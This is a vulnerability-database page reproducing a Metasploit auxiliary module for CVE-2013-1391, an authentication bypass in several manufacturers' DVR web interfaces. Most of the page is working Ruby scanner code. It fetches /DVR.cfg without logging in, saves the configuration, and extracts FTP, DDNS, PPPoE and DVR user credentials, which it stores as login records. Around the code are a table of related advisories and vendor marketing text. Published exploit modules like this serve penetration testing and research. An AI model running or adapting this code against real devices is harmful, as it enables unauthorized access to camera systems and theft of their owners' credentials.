Lucene search
+L

Multiple DVR Manufacturers Configuration Disclosure

🗓️ 30 Jan 2013 16:22:03Reported by Alejandro Ramos, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 55 Views

This module takes advantage of an authentication bypass vulnerability at the web interface of multiple manufacturers DVR systems, allowing retrieval of the device configuration

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2013-1391
29 Jan 201300:00
circl
Check Point Advisories
Multiple Products DVR Configuration Disclosure (CVE-2013-1391)
21 Oct 201300:00
checkpoint_advisories
CVE
CVE-2013-1391
30 Oct 201920:36
cve
Cvelist
CVE-2013-1391
30 Oct 201920:36
cvelist
Tenable Nessus
Hunt CCTV DVR.cfg Direct Request Information Disclosure
6 Feb 201300:00
nessus
NVD
CVE-2013-1391
30 Oct 201921:15
nvd
OpenVAS
Multiple DVR Information Disclosure Vulnerability
1 Feb 201300:00
openvas
Packet Storm
Hunt CCTV Credential Disclosure
28 Jan 201300:00
packetstorm
Packet Storm
Multiple DVR Manufacturers Configuration Disclosure
1 Sep 202400:00
packetstorm
Prion
Authentication flaw
30 Oct 201921:15
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'Multiple DVR Manufacturers Configuration Disclosure',
      'Description' => %q{
          This module takes advantage of an authentication bypass vulnerability at the
        web interface of multiple manufacturers DVR systems, which allows to retrieve the
        device configuration.
      },
      'Author'      =>
        [
          'Alejandro Ramos', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'References'  =>
        [
          [ 'CVE', '2013-1391' ],
          [ 'URL', 'http://www.securitybydefault.com/2013/01/12000-grabadores-de-video-expuestos-en.html' ]
        ],
      'License'     => MSF_LICENSE
    )

  end

  def get_pppoe_credentials(conf)

    user = ""
    password = ""
    enabled = ""

    if conf =~ /PPPOE_EN=(\d)/
      enabled = $1
    end

    return if enabled == "0"

    if conf =~ /PPPOE_USER=(.*)/
      user = $1
    end

    if conf =~ /PPPOE_PASSWORD=(.*)/
      password = $1
    end

    if user.empty? or password.empty?
      return
    end

    info = "PPPOE credentials for #{rhost}, user: #{user}, password: #{password}"

    report_note({
      :host   => rhost,
      :data   => info,
      :type   => "dvr.pppoe.conf",
      :sname  => 'pppoe',
      :update => :unique_data
    })

  end


  def get_ddns_credentials(conf)
    hostname = ""
    user = ""
    password = ""
    enabled = ""

    if conf =~ /DDNS_EN=(\d)/
      enabled = $1
    end

    return if enabled == "0"

    if conf =~ /DDNS_HOSTNAME=(.*)/
      hostname = $1
    end

    if conf =~ /DDNS_USER=(.*)/
      user = $1
    end

    if conf =~ /DDNS_PASSWORD=(.*)/
      password = $1
    end

    if hostname.empty?
      return
    end

    info = "DDNS credentials for #{hostname}, user: #{user}, password: #{password}"

    report_note({
      :host   => rhost,
      :data   => info,
      :type   => "dvr.ddns.conf",
      :sname  => 'ddns',
      :update => :unique_data
    })

  end

  def get_ftp_credentials(conf)
    server = ""
    user = ""
    password = ""
    port = ""

    if conf =~ /FTP_SERVER=(.*)/
      server = $1
    end

    if conf =~ /FTP_USER=(.*)/
      user = $1
    end

    if conf =~ /FTP_PASSWORD=(.*)/
      password = $1
    end

    if conf =~ /FTP_PORT=(.*)/
      port = $1
    end

    if server.empty?
      return
    end

    report_cred(
      ip: server,
      port: port,
      service_name: 'ftp',
      user: user,
      password: password,
      proof: conf.inspect
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def get_dvr_credentials(conf)
    conf.scan(/USER(\d+)_USERNAME/).each { |match|
      user = ""
      password = ""
      active = ""

      user_id = match[0]

      if conf =~ /USER#{user_id}_LOGIN=(.*)/
        active = $1
      end

      if conf =~ /USER#{user_id}_USERNAME=(.*)/
        user = $1
      end

      if conf =~ /USER#{user_id}_PASSWORD=(.*)/
        password = $1
      end

      if active == "0"
        user_active = false
      else
        user_active = true
      end

      report_cred(
        ip: rhost,
        port: rport,
        service_name: 'dvr',
        user: user,
        password: password,
        proof: "user_id: #{user_id}, active: #{active}"
      )
    }
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def run_host(ip)

    res = send_request_cgi({
      'uri'          => '/DVR.cfg',
      'method'       => 'GET'
    })

    if not res or res.code != 200 or res.body.empty? or res.body !~ /CAMERA/
      vprint_error("#{rhost}:#{rport} - DVR configuration not found")
      return
    end

    p = store_loot("dvr.configuration", "text/plain", rhost, res.body, "DVR.cfg")
    vprint_good("#{rhost}:#{rport} - DVR configuration stored in #{p}")

    conf = res.body

    get_ftp_credentials(conf)
    get_dvr_credentials(conf)
    get_ddns_credentials(conf)
    get_pppoe_credentials(conf)

    dvr_name = ""
    if res.body =~ /DVR_NAME=(.*)/
      dvr_name = $1
    end

    report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => "DVR NAME: #{dvr_name}")
    print_good("#{rhost}:#{rport} DVR #{dvr_name} found")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation